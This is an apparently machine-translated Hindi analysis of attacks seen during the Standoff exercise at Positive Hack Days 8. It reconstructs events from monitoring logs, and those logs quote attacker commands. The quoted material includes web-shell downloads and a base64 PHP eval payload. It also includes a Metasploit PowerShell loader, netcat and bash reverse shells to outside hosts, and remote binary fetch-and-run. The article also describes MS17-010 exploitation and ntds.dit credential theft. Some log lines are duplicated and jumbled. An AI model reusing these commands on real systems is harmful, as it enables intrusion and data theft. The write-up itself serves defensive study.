पॉजिटिव हैक डेज 8 में टकराव: पार्सिंग अटैक चेन

इसलिए, अगला "टकराव" पॉजिटिव हैक दिनों में समाप्त हो गया। 8. इस बार, सौ से अधिक लोगों ने लड़ाई में भाग लिया: हमलावरों की 12 टीमें, रक्षकों की 8 टीमें और एक पूरे शहर कि उन्हें हमला करना और बचाव करना था।

इस बार, द स्टैंडऑफ़ में न केवल हमलावरों और रक्षकों की टीमों ने भाग लिया, हमारी कंपनी के तीन उत्पादों ने गेमिंग नेटवर्क पर होने वाली हर चीज़ को देखा:

• मैक्सपैराट्रोलर सीएमजी - सेगमेन्ट सिस्टम।
• पीटी नेटवर्क अटैक डिस्कवरी नेटवर्क ट्रैफिक का विश्लेषण करने, घटनाओं की पहचान करने और जांच करने के लिए एक नेटवर्क सुरक्षा समाधान है।
• पीटी मल्टीस्कैनर दुर्भावनापूर्ण सामग्री का पता लगाने और अवरुद्ध करने के लिए एक बहु-स्तरीय प्रणाली है।

तीन उत्पादों की निगरानी पॉजिटिव टेक्नोलॉजीज सिक्योरिटी एक्सपर्ट सेंटर (पीटी ईएससी) की टीम द्वारा की गई, जो गेम ट्रेंड और घटनाओं पर नज़र रखता है ताकि एक्सपर्ट सेंटर के आगंतुकों को इस बारे में बताया जा सके।

विशेषज्ञों और उत्पादों की टीम की यह पहली ऐसी भागीदारी थी और उन्होंने अपना सर्वश्रेष्ठ पक्ष दिखाया: इतना अधिक डेटा था कि एक विशाल रिपोर्ट के लिए पर्याप्त होगा। SPUTNIK इंटीग्रेटर कंपनी के कार्यालय # 2 के नेटवर्क और BeHealthy बीमा कंपनी के कार्यालय # 1 का वर्णन सबसे दिलचस्प और विवरण से पूरा हुआ। कार्यालय नंबर 2 दिलचस्प था कि यह एसओसी आरटीके की देखरेख में था, लेकिन रक्षकों की एक टीम द्वारा ध्यान नहीं दिया गया और हमलावर टीमों द्वारा इसे पूरी तरह से हैक कर लिया गया।

आपको याद दिला दूं कि दो कार्यालयों के अलावा, शहर में एक थर्मल पावर स्टेशन और सबस्टेशन, रेलवे, स्मार्ट घरों में ऊर्जा की वसूली और एटीएम के साथ बैंक हैं।



गेमिंग इंफ्रास्ट्रक्चर

हैकिंग के तकनीकी विवरणों पर जोर देने के साथ कार्यालयों में होने वाली घटनाओं को # 1 और # 2 में मैक्सपैट्रोलम के प्रिज्म, पीटी एनएडी और पीटी मल्टीस्कैनर के माध्यम से कैसे देखा गया, इस पर चर्चा की जाएगी।

गेमिंग नेटवर्क कार्यालय # 2 के तर्क आरेख:



हमलावर टीमों को संबोधित करते हुए 172.31.x.0 / 24 है, जहां x 1 से 8 तक कमांड संख्या है। वास्तव में, कुल 12 टीमें थीं, लेकिन नेटवर्क के नेटवर्क बुनियादी ढांचे की वास्तुकला (सिस्को CSR1000v में नेटवर्क कोर का अनुकरण किया गया था) और भौतिक के कारण उपकरण, खेल क्षेत्र में टीमों के लिए स्विच किए गए केवल 8 भौतिक नेटवर्क इंटरफेस को व्यवस्थित करना संभव था। इसलिए, चार नेटवर्क में, दो टीमें स्थित थीं।

कार्यालय # 2 के बुनियादी ढांचे में, चार नेटवर्क खंड आवंटित किए गए थे:

• DMZ (100.64.154.0/25);
• सर्वर (10.106.60.0/24);
• कंपनी के कर्मचारी (10.106.50.0/24);
• डिफेंडर टीम (10.106.82.0/24)।

डिमिलिट्राइज़्ड ज़ोन में स्थित नोड्स सभी हमलावरों के लिए नेटवर्क पर उपलब्ध थे। इन नोड्स तक पहुँचने पर, NAT आदेशों का वास्तविक नेटवर्क पता 100.110.255.0/24 पूल से था, इसलिए रक्षकों के लिए यह पता लगाना आसान नहीं था कि यह या उस नेटवर्क ट्रैफ़िक का मालिक कौन है - यह 12 हमलावरों में से एक हो सकता है या एक वैध स्क्रिप्ट चेकर हो सकता है, हमलावरों के समान पता पूल से सेवाओं की सेवाक्षमता की जाँच करना।

गेमिंग इंफ्रास्ट्रक्चर में क्या हो रहा है, इसके बारे में घटनाओं के साथ हमारे उत्पादों को भरने के लिए, हमने पीटी एनएडी में सभी नेटवर्क ट्रैफ़िक की एक कॉपी को हटाने और पुनर्निर्देशित करने के साथ-साथ लक्ष्य प्रणालियों की घटनाओं की एक विस्तारित ऑडिट की स्थापना की और मैक्सपाट्रॉल सेगमेंट में उनकी डिलीवरी का आयोजन किया।

टीमों पर जोर देने के साथ हमलों का विश्लेषण हैबर पर हमारी अन्य रिपोर्ट में पाया जा सकता है।

जुमला (100.64.154.147)

DMZ कार्यालय # 2 में एक सर्वर जूमला सीएमएस वाला सर्वर था। खेल शुरू होने के कुछ घंटों बाद, इस सर्वर के समझौते के पहले लक्षण पीटी एनएडी में दिखाई दिए - "ग्रे" आईपी पते के पूल से वेबसैलिंग भरना:



जैसा कि उल्लेख किया गया है, हमलावर टीमों के सभी सबनेट को एक ही ME (हमलावर-एफडब्ल्यू) पर समाप्त कर दिया गया था और जब हमला किए गए ऑब्जेक्ट के लिए एक कनेक्शन बनाते हैं, तो हमलावरों के आईपी पते को एक ही पूल (100.110.255.0 -24) से ग्रे आईपी पते में अनुवाद किया गया था। इसलिए, कमांडों द्वारा हमलों के मानकीकरण के लिए, इस ME की NAT तालिका के अनुसार गेटवे के संवर्धन के साथ एक योजना लागू की गई थी। MP के सहयोग के ढांचे के भीतर, संवर्धन इस प्रकार था:



इस दृष्टिकोण ने हमें यह निर्धारित करने की अनुमति दी कि यह हमला टीम # 1 द्वारा शुरू किया गया था। हालाँकि, अलग-अलग टीमों द्वारा एक ही एड्रेस पूल के उपयोग के कारण, हम किसी विशेष नेटवर्क के अनुरोध पर टीम का नाम निश्चित रूप से निर्धारित नहीं कर सकते हैं, और आगे के कथन के लिए हम टीमों का नाम उनके नेटवर्क नंबरों के आधार पर रखेंगे।

आदेश # 1 की कोशिश करने के एक घंटे बाद, पीटी एनएडी ने देखा कि कमांड # 8 बोलने वाले नाम SHE __ के साथ एक अन्य वेब शेल पर लोड हो रहा था। चाहे वह सर्वर हैक या एक साधारण स्कैन का परिणाम था - यह मज़बूती से स्थापित करना संभव नहीं था, लेकिन उसी 8 वें से कुछ मिनटों के बाद। कमांड एक unprivileged उपयोगकर्ता उपयोगकर्ता से ssh सत्र सेट करता है।





इस खाते का पासवर्ड रॉकीउ शब्दकोश के शीर्ष पर था और मिलान किया गया था। 8 वीं टीम के लिए रूट खाते तक पहुंच केवल लगभग 4:00 बजे दिखाई दी, क्योंकि समूह में उपयोगकर्ता की सदस्यता के कारण पासवर्ड-फ्री रन कमांड का अधिकार रूट से है। हम एमपीएमजी के लॉग में इसके बारे में आश्वस्त हो सकते हैं, जो हमें उपयोगकर्ता उपयोगकर्ता के रूप में पहले लॉगिन के बारे में बताते हैं, और फिर सूडो कमांड के साथ विशेषाधिकार बढ़ाते हैं।




गेम सर्वर कॉन्फ़िगरेशन के कारण लॉग समय में 3 घंटे का अंतर हो सकता है।

टकराव के पहले दिन की शाम तक, छठी टीम ने जुमला पर कब्जा कर लिया। एनएडी ने एक भेद्यता के शोषण का पता लगाया, या बल्कि, एक ऐसी सुविधा जिसके माध्यम से टीम ने व्यापक रूप से ज्ञात डब्ल्यूएसओ वेब शेल को अपलोड किया और इसके साथ बातचीत करना शुरू किया।

100.110.255.160 - - [15/May/2018:09:39:31 -0700] GET /templates/beez3/index.php HTTP 100.110.255.160 - - [15/May/2018:09:39:35 -0700] POST /templates/beez3/index.php HTTP 100.110.255.160 - - [15/May/2018:09:39:35 -0700] GET /templates/beez3/index.php HTTP 100.110.255.220 - - [15/May/2018:09:39:56 -0700] POST /templates/beez3/index.php HTTP … 100.110.255.32 - - [15/May/2018:09:44:39 -0700] POST /templates/beez3/index.php HTTP 100.110.255.118 - - [15/May/2018:09:44:43 -0700] POST /templates/beez3/index.php HTTP 100.110.255.145 - - [15/May/2018:09:44:49 -0700] GET /templates/beez3/index.php HTTP 

यह ध्यान देने योग्य है कि वह स्क्रिप्ट जो कमांड शेल को भरने के लिए उपयोग की जाती है,
एक व्यवस्थापक खाते की आवश्यकता होती है, जिसके लिए LDAP के माध्यम से जूमला में प्रमाणीकरण तंत्र में एक अन्य भेद्यता CVE-2017-14596 का उपयोग करके पासवर्ड का चयन किया गया था: प्रमाणीकरण LDAP अनुरोध को बदलकर, हमलावर व्यवस्थापक खाते से लॉगिन और पासवर्ड को जल्दी से उठाते हैं।

और आधे घंटे के बाद उन्होंने पूरी व्यवस्था पर नियंत्रण कर लिया।



हमलावर टीमों ने दूसरे स्पुतनिक कार्यालय के नेटवर्क में आगे की टोही के लिए कैप्चर की गई मशीन का इस्तेमाल किया, जिसमें नैमप और ह्पिंग 3 एबिलिटीज थे। हम एमपीएमजी के डेटा से उनके कार्यों का अंदाजा लगा सकते हैं:




उदाहरण DMZ खुफिया कार्यालय नेटवर्क 2 (100.64.154.0/24) और डिफेंडर टीम नेटवर्क (10.106.82.0.124):




21:17 पर, हमने पाया कि OpenVPN क्लाइंट जूमला सर्वर पर स्थापित और लॉन्च किया गया था। कनेक्शन मॉस्को में स्थित सर्वर 195.16.61.229 के साथ स्थापित किया गया था। थोड़ी देर बाद, हमें पता चला कि ये कार्रवाई टीम # 6 के सदस्यों द्वारा की गई थी और इस प्रकार टीम एक दूरस्थ साइट पर स्थित अतिरिक्त कंप्यूटिंग और मानव संसाधनों को आकर्षित करने में सफल रही।

दूरस्थ साइट के साथ सभी इंटरैक्शन को संरक्षित सुरंग के अंदर किया गया था, इसलिए इस इंटरैक्शन की प्रकृति और खेल पर इसके प्रभाव की डिग्री को स्थापित करना असंभव है। हम केवल वीपीएन सत्रों की संख्या और स्थानांतरित किए गए डेटा की मात्रा के आधार पर अप्रत्यक्ष निष्कर्ष निकाल सकते हैं।



लेकिन सबसे दिलचस्प बात यह है कि टीम ने निशान को साफ नहीं किया - खेल के बाद, हमने ओवप सर्वर पर एक रूट और व्यक्तिगत प्रमाण पत्र, निजी कुंजी और प्रमुख मालिक के व्यक्तिगत डेटा वाले एक कॉन्फ़िगरेशन को पाया। यदि आप एक खोज इंजन का उपयोग करते हैं, तो उपनाम phonexicum के तहत स्वामी की वास्तविक पहचान निर्धारित करना बिल्कुल मुश्किल नहीं है। खेल के दौरान सभी वीपीएन कनेक्शन के साथ पूर्ण मानचित्र की जांच लेख के अंत में की जा सकती है।

मध्यरात्रि (लॉग्स के +3 घंटे) के बाद अन्य रोचक घटनाओं का विकास शुरू हुआ।
शेल /id.php कमांड # 4 कमांड # 1 पाता है:

 [15/May/2018:21:58:22 +0000] "GET /id.php HTTP/1.1 [15/May/2018:21:58:24 +0000] "GET /id.php HTTP/1.1 [15/May/2018:21:58:34 +0000] "GET /id.php?c=ls HTTP/1.1 [15/May/2018:21:58:38 +0000] "GET /id.php?cmd=ls HTTP/1.1 [15/May/2018:21:59:53 +0000] "GET /id.php?cmd=id HTTP/1.1 [15/May/2018:21:59:56 +0000] "GET /id.php?cmd=ls+-la HTTP/1.1 

और सिस्टम में तुरंत मजबूत करता है, 123.php नाम के तहत WSO वेब शेल को संरक्षित करना

 [15/May/2018:22:00:05 +0000] "GET /id.php?cmd=wget HTTP/1.1 [15/May/2018:22:00:10 +0000] "GET /id.php?cmd=wget -h HTTP/1.1 [15/May/2018:22:00:53 +0000] "GET /id.php?cmd=cat index.php HTTP/1.1 [15/May/2018:22:01:04 +0000] "GET /id.php?cmd=wget http://txt.731my.com/wso.txt -o 123.php HTTP/1.1 

टीम # 4 तक की पहली टीम ने कुछ घंटों बाद यह पता लगाया और एक छोटी चर्चा के बाद, id.php शेल का नाम बदलकर 021371b392f0b42398630fd668adff5d.php कर दिया।

 [16/May/2018:00:06:13 +0000] "GET /id.php?cmd=id HTTP/1.1 [16/May/2018:00:06:26 +0000] "GET /id.php?cmd=ls HTTP/1.1 [16/May/2018:00:07:16 +0000] "GET /id.php?cmd=mv id.php 021371b392f0b42398630fd668adff5d.php HTTP/1.1 

इसके बाद, 021371b392f0b42398630fd668adff5d.php को kekekeke.php और kekpek.php द्वारा बदल दिया गया।

 [16/May/2018:00:41:23 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=echo "<?phpeval(base64_decode(ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr(47).m));?>" > kekekeke.php HTTP/1.1 [16/May/2018:06:20:52 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=wget%20193.124.190.162/kek.php -O kekpek.php HTTP/1.1 (base64_decode (ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr ( [16/May/2018:00:41:23 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=echo "<?phpeval(base64_decode(ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr(47).m));?>" > kekekeke.php HTTP/1.1 [16/May/2018:06:20:52 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=wget%20193.124.190.162/kek.php -O kekpek.php HTTP/1.1 > Kekekeke.php HTTP [16/May/2018:00:41:23 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=echo "<?phpeval(base64_decode(ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr(47).m));?>" > kekekeke.php HTTP/1.1 [16/May/2018:06:20:52 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=wget%20193.124.190.162/kek.php -O kekpek.php HTTP/1.1 

कार्यालय # 2 SPUTNIK के डोमेन बुनियादी ढांचे में निम्नलिखित घटनाएं जुमला पर क्या हो रहा है, इसके साथ निकटता से संबंधित हैं।

SPUTNIK (10.106.60.0/24)

जुमला छेड़े जाने के बाद, हमलावर ने SPUTNIK इन्फ्रास्ट्रक्चर (कार्यालय # 2) के आंतरिक खंडों तक पहुंच प्राप्त की। दो बार सोचने के बिना, MS17-010 शोषण डोमेन नियंत्रक WIN2008R2-DC.domain2.phd (10.106.60.10) के लिए उड़ान भरता है।



एमपी क्रेमर्स के ट्रिगर्स द्वारा आगे की घटनाओं के कालक्रम का निरीक्षण करना अधिक सुविधाजनक है:




हमलावर का पहला कदम "उपयोगकर्ता नाम" और पासवर्ड "1qazzaq" के साथ एक उपयोगकर्ता बनाना था! और इसे स्थानीय प्रशासकों के समूह (स्क्रीन # 2) में जोड़ना। MS17-010 के कारनामों का सफल उपयोग NT-Authority \ System विशेषाधिकारों के साथ पहुँच प्रदान करता है और Windows लॉग में ऐसी पहुंच win2008r2-dc $ के रूप में प्रदर्शित की जाती है।





नए उपयोगकर्ता की ओर से, एक निश्चित शब्

 %COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -noni -c if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream([Convert]::FromBase64String(''H4sIAGRK+1...u9uxfACgAA'')))[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"" 

यह लिपि मेटस्प्लोइट ढांचे द्वारा उत्पन्न की गई थी। इसका उद्देश्य यह है कि पोर्ट पर आने वाले "पेलोड" को चलाने के लिए पोर्ट 55443 पर सॉकेट खोलें और संभवतः इस पोर्टफ़ॉर्मर के लिए।



एक दूरस्थ शेल लॉन्च करने का प्रयास सफल रहा। उसके बाद, हमलावरों ने हमले को विकसित करना जारी रखा और उपयोगकर्ता नाम "अहमक" के साथ एक और खाता बनाता है, इस खाते को "डोमेन एडमिंस" समूह में जोड़ते हैं और इसके निर्माण के तुरंत बाद, हम एक इंटरैक्टिव लॉगिन देखते हैं।






जबकि जीवन शक्ति ने उपयोगकर्ता नाम के समान ही शिल्पी स्क्रिप्ट के साथ सेवा का निर्माण किया, उपयोगकर्ता नाम बड़े पैमाने पर डोमेन खाता पासवर्ड रीसेट करता है और पड़ोसी Win2008R2-EXCH डोमेन मेल सर्वर में रुचि रखता है।

एक्सचेंज डोमेन सर्वर (स्केनिंग और लॉगिन) पर उपयोगकर्ता नाम और महत्वपूर्ण उपयोगकर्ताओं की लगभग एक साथ गतिविधि बताती है कि सबसे अधिक संभावना है कि टीम के कई सदस्यों ने एक ही समय में SPUTNIK नेटवर्क की जांच की।





vitalik मेल सर्वर की उपलब्धता की जाँच करता है और एक इंटरैक्टिव लॉगिन के बाद सर्वर प्रबंधन कंसोल लॉन्च करता है।




कुछ भी सार्थक नहीं मिलने पर, वह Win2008R2-DC होस्ट पर अपने इंस्ट्रूमेंटेशन और हेवी आर्टिलरी को खींचता है - कई पॉवरशेल स्क्रिप्ट और ब्लडहाउंड फ्रेमवर्क डोमेन कंट्रोलर पर दिखाई देते हैं, जो एक्टिव डायरेक्ट्री नेटवर्क में टोही के लिए एक लोकप्रिय टूल है। ब्लडहाउंड वेब इंटरफ़ेस तक पहुंचने के लिए, प्रतिभागी को IE में संरक्षित मोड को अक्षम करना था, जिसे भी कोलम्बिया द्वारा पता लगाया गया था।



नेटवर्क पर BloodHound गतिविधि पीटी एनएडी द्वारा पारित नहीं हुई। उपकरण की सुविधाओं में से एक सक्रिय कनेक्शन के लिए नेटवर्क पर मेजबानों को स्कैन कर रहा था। SRVSVC सेवा के लिए ऐसे ट्रैफ़िक का पता PT NAD हस्ताक्षरों में से एक द्वारा लगाया जाता है और यह नेटवर्क के अंदर बुद्धिमत्ता को इंगित करता है:



सुबह के लगभग एक बजे, हमलावरों ने पहले vssadmin उपयोगिता का उपयोग करके डिस्क की एक छाया प्रतिलिपि बनाई, ntds.dit डेटाबेस को सभी डोमेन खातों से घसीटा। इस हमले को सफलतापूर्वक पूरा करने के बाद, हमलावर पूरी तरह से डोमेन का नियंत्रण लेते हैं, अपने निपटान में विशेष खाते "krbtgt" का हैश प्राप्त करते हैं। इस खाते का स्वामित्व आपको तथाकथित बनाने और उपयोग करने की अनुमति देता है। गोल्डन टिकट - डोमेन में संसाधनों तक असीमित पहुंच के लिए केर्बरोस टिकट, किसी भी मौजूदा और यहां तक ​​कि कोई भी उपयोगकर्ता और डोमेन में किसी भी कार्रवाई की ओर से सर्वर तक पहुंच। गोल्डन टिकट का उपयोग करना सुरक्षात्मक उपकरणों का उपयोग करना काफी मुश्किल है, लेकिन krbtgt और ntds.dit लिंक से समझौता करना बहुत आसान है।





टीम धीरे-धीरे डोमेन अनुसंधान से स्वचालित प्रक्रिया नियंत्रण प्रणाली नेटवर्क पर शोध कर रही है जिसे उसने खोला है। SPUTNIK कर्मचारियों को Nmap स्कैनर - YLAVRENTIEV.sputnik.phd और EPONOMAREV.sputnik.phd घसीटा जाने के बाद, नेटवर्क 172.20.xx स्कैन किए गए थे। प्रतिभागियों ने nas_performance.reg का इस्तेमाल किया, जो विंडोज़ स्टैक की टीसीपी / आईपी मापदंडों को बदलने और प्रक्रिया नियंत्रण की स्कैनिंग को गति प्रदान करने के लिए उपयोग किया गया।




SPUTNIK डोमेन होस्ट पर सुरंगों के माध्यम से नेटवर्क के स्वचालित प्रक्रिया नियंत्रण प्रणाली में मेजबानों के लिए कनेक्शन खुद के लिए बोलते हैं। हैकर्स ने औद्योगिक नेटवर्क पर क्या किया, इसका एक विवरण यूट्यूब पर हमारे सहयोगियों के वीडियो में पाया जा सकता है।

हमलावरों की अन्य उपलब्धियों में, प्रतियोगिता के पहले दिन एक रात की नींद के बाद अन्य सुरंगों, ssh सत्र, रचनात्मक सफलताएं, और निश्चित रूप से, डीडीओएस सिक्का मुद्रा का खनन करने वाले खेल खनिकों की स्थापना भी देखी गई।

ZABBIX (100.64.100.161)

डीएमजेड कार्यालय # 1 में स्थित है और गर्व से अपनी भूमिका का प्रदर्शन किया जब तक कि दोपहर के बारे में यह किसी अज्ञात टीम द्वारा हैक नहीं किया गया था।



व्यवस्थापक क्रेडेंशियल्स को ढूंढना मुश्किल नहीं था और टीम ने कस्टम स्क्रिप्ट के साथ निगरानी क्षमताओं का असीमित विस्तार करने के लिए अंतर्निहित ज़ैबिक्स कार्यक्षमता का उपयोग किया था।



आप लिपियों में किसी भी लिनक्स कमांड का उपयोग कर सकते हैं, यही वह है जो सदस्य टीमों ने गोले और सॉक्स प्रॉक्सी बनाने के लिए उपयोग किया था।

 command=/bin/nc -e /bin/sh -lp 5432 2>&1 command=/bin/ping -c 3 {HOST.CONN} 2>&1 command=ls /bin/ command=/bin/nc -e /bin/sh -lp 5432 2>&1 command=/bin/nc -e /bin/sh -lp 5432 2>&1 command=ping 8.8.8.8 command=ping 8.8.8.8; netstat -tulpn command=ping -n 4 8.8.8.8; netstat -tulpn command=ls /tmp/phd command=netstat -tulpn command=wget http://195.16.61.232:8888/x86_elf -O /tmp; ls /tmp command=ls /tmp command=curl http://195.16.61.232:8888/x86_elf --output /tmp/tmp.bin;ls /tmp command=ping -c 4 195.16.61.232 command=touch /tmp/test;ls /tmp/ command=pwd command=whoami command=ls /var/www/html command=which nc command=curl http://195.16.61.230/PHD/ --output /tmp/tmp.bin; ls /tmp command=bash -i >& /dev/tcp/195.16.61.232/8080 0>&1 command=chmod u+x /tmp/tmp.bin;/tmp/tmp.bin command=bash -i >& /dev/tcp/195.16.61.232/195 >&1 command=bash -i >& /dev/tcp/195.16.61.232/1950 0>&1 command=bash -i >& /dev/tcp/195.16.61.232/8080 0>&1 

टीम ने 195.16.61.232 नियंत्रण के तहत सर्वर से मॉड्यूल को डाउनलोड करने का प्रयास किया, लेकिन कोई फायदा नहीं हुआ:



फिर, पर्यावरण के थोड़ा अन्वेषण के बाद, मैंने एक ही सर्वर के साथ मानक लिनक्स टूल का उपयोग करके एक रिमोट बैश शेल स्थापित किया, पैकेट को सीधे / देव / टीसीपी / पर भेज दिया।

कोई भी कम दिलचस्प टीम और गोले के बीच यातायात की सामग्री नहीं थी, जो स्पष्ट रूप से प्रसारित हुई थी और पीटी एनएडी सेंसर द्वारा पारित नहीं हुई थी।

 bash-4.2$ /tmp/gost -L socks4a://:1080 & bash-4.2$ gost -L=:54321 -F=10.100.50.48:3389 bash-4.2$ /tmp/gost -L socks4a://:1080 & bash-4.2$ nmap bash: nmap: command not found bash-4.2$ ifconfig bash-4.2$ ping 172.30.240.106 bash-4.2$ wget https://gist.githubusercontent.com/sh1n0b1/e2e1a5f63fbec3706123/raw/1bd5f119a7f1e2d4c9328d78686ae79b4e1642f7/linuxprivchecker.py bash-4.2$ python linuxprivchecker.py bash-4.2$ uname -a bash-4.2$ cd /etc/cron.daily: bash-4.2$ ./gost -L=tcp://:33899/10.100.50.39:3389 bash-4.2$ ./gost -L=tcp://:4455/10.100.50.39:445 & bash-4.2$ ./gost -L=tcp://:1139/10.100.50.39:139 & bash-4.2$ ./gost -L=tcp://:12345/10.100.60.55:3389 & bash-4.2$ ./gost -L=tcp://:12347/10.100.60.5:445 & bash-4.2$ ./gost -L=tcp://:12348/10.100.60.15:445 & bash-4.2$ ./gost -L=tcp://:12349/10.100.50.100:445 & bash-4.2$ ./gost -L=tcp://:12350/10.100.80.28:445 & bash-4.2$ ./gost -L=tcp://:12351/10.100.80.23:445 & bash-4.2$ ./gost -L=tcp://:12352/10.100.80.30:445 & bash-4.2$ ./gost -L=tcp://:12353/10.100.80.32:445 & bash-4.2$ ./gost -L=tcp://:12354/10.100.80.26:445 & bash-4.2$ ./gost -L=tcp://:12355/10.100.80.5:445 & bash-4.2$ ./gost -L=tcp://:12356/10.100.80.9:445 & bash-4.2$ ./gost -L=tcp://:12357/10.100.80.23:445 & bash-4.2$ ./gost -L=socks5://:1081 & 

जैसा कि हम देख सकते हैं, ZABBIX सर्वर मुख्य रूप से कार्यालय सबनेट्स # 1: 10.100.50.0/24 (उपयोगकर्ता), 10.100.60.0/24 (सर्वर) और 10.100.80.0-24 (SecurityTeam) की टोही के लिए एक पुल के रूप में उपयोग किया गया था।

मल्टीज़रवर (100.64.100.167)

मल्टीज़रर एक अन्य लिनक्स होस्ट है जो डीएमजेड कार्यालय # 1 में HTTP सर्वर और बोर्ड पर एक MySQL डेटाबेस की एक जोड़ी के साथ है। हालाँकि मल्टीज़रवर को गहन स्कैनिंग के अधीन किया गया था, लेकिन कुछ ही सफल हमले हुए थे। मेजबान में 2017 SambaCry भेद्यता थी, जो MS17-010 कमजोरियों के बाद मिली, और टीमों ने इसका उपयोग करने की कोशिश की। पीटी एनएडी फ़िल्टर आपको समय पर उनके प्रयासों को स्थानीय बनाने की अनुमति देता है:



आदेश # 3 के प्रयासों में से एक में लोड DTECJtAf.so निष्पादन योग्य पुस्तकालय था। और, लाइब्रेरी के नाम को देखते हुए, टीम के सदस्यों ने Metasploit फ्रेमवर्क से is_ogn_pipename मॉड्यूल का उपयोग किया। सबूत:



टकराव के दौरान, विशेषज्ञों को पीटी मल्टीस्कैनर द्वारा सहायता प्रदान की गई, जिसने पीटी एनएडी द्वारा देखे गए नेटवर्क पर उड़ान भरने वाली सभी फाइलों की जांच की। कुछ क्षणों के बाद, वह DTECJtAf.so नेटवर्क पर उड़ान भरने के लिए एक निर्णय जारी करता है: Linux / SmbPayload.C



सर्वर और कमांड # 3 के बीच आगे नेटवर्क इंटरैक्शन की कमी को देखते हुए, शोषण सफलता नहीं लाया। हालाँकि, लगभग उसी समय, हम टीम # 4 से एक सक्रिय SSH सत्र देखते हैं। संचरित यातायात की मात्रा से, हम यह अनुमान लगा सकते हैं कि हमलावरों ने सर्वर का पूरा उपयोग किया।



सामान्यतया, टीम # 4 से व्यवस्थापक उपयोगकर्ता का पहला सफल SSH प्रवेश प्रतियोगिता के पहले दिन के लगभग 3:20 बजे हुआ:



किसी भी सभ्य हमलावर की तरह, लॉगिन के बाद विशेषाधिकार की जाँच और मेजबान पर टोही है:







और परे:






सहजता के साथ, हम भाषा द्वारा हमलावर के गुण को आगे बढ़ाते हैं:



मल्टीज़रवर को उचित कॉन्फ़िगरेशन प्राप्त नहीं हुआ और यह निश्चित रूप से ज्ञात नहीं है कि अन्य टीमें क्या प्रयास करती हैं। उपलब्ध लॉग्स को देखते हुए, यह होस्ट, साथ ही साथ DMZ कार्यालय # 1 में अन्य होस्ट, कार्यालय के आंतरिक बुनियादी ढांचे की खोज के लिए एक प्रारंभिक बिंदु के रूप में कार्य करता है।

विविध

अन्य मेजबान भी टीमों के ध्यान का केंद्र बन गए हैं। उदाहरण के लिए, प्रतिभागियों ने कार्यालय # 1 के DMZ नेटवर्क में 100.64.100.237 पर मिकरोटिक रूटर के संबंध में उत्सुकता से व्यवहार किया। टकराव के दूसरे दिन लगभग 2 बजे, "एडमिन: VxPvRxX74e8xrbia77hsi7WKm" जोड़ी के साथ टेलनेट राउटर के कंसोल कंसोल का एक सफल लॉगिन सफल रहा। डिवाइस का फर्मवेयर संस्करण 6.38.4 था - यह वह संस्करण है, जिस पर मिकरोटिक के लिए प्रसिद्ध चिमे रेड स्टैक क्लैश का परीक्षण किया गया था, जिसने डिवाइस पर किसी भी कोड को निष्पादित करने की अनुमति दी थी, और विशेष रूप से, राउटर पर उपयोगकर्ता पासवर्ड निकालने के लिए। पीटी एनएडी द्वारा एक शोषण भेद्यता की खोज की गई है।

लेकिन फिर, लंच क्षेत्र में, पहली बार राउटर लेने वाली टीम ने एक साधारण फर्मवेयर अपडेट के साथ छेद को बंद करने का फैसला किया और पहुंच पर एकाधिकार कर लिया:



यह उन कुछ उदाहरणों में से एक है जहां प्रतिभागियों की एक टीम सिस्टम में एक छेद को बंद कर देती है ताकि अन्य टीमें इस होस्ट पर कब्जा न कर सकें।

पीटी मल्टीस्कैनर ने एक जिज्ञासु घटना का पता लगाया है:



बैंक तक पहुँचने के लिए, टीमें साइट पर उपलब्ध बैंक क्लाइंट का उपयोग कर सकती हैं। यह साइट बैंकिंग नेटवर्क में रक्षकों की एक टीम की देखरेख में स्थित है और उन्होंने मेटास्प्लोइट फ्रेमवर्क का उपयोग करके क्लाइंट का निर्माण किया और इसे मूल के साथ बदल दिया। सौभाग्य से, रक्षकों के लिए, अंतर्निहित क्लाइंट को कई टीमों द्वारा डाउनलोड किया गया था, जैसा कि हम ऊपर पीटी मल्टीस्कैनर के स्क्रीनशॉट में देखते हैं। किसी भी सफल कनेक्शन पर ध्यान नहीं दिया गया, लेकिन मामला ध्यान देने योग्य है, क्योंकि इस तरह के परिदृश्य सामान्य जीवन में होते हैं - आधिकारिक वेबसाइटों पर ट्रोजन प्रोग्राम या क्लाइंट्स पर हमले शुरू करने के लिए अपडेट की जगह।

खनिकों

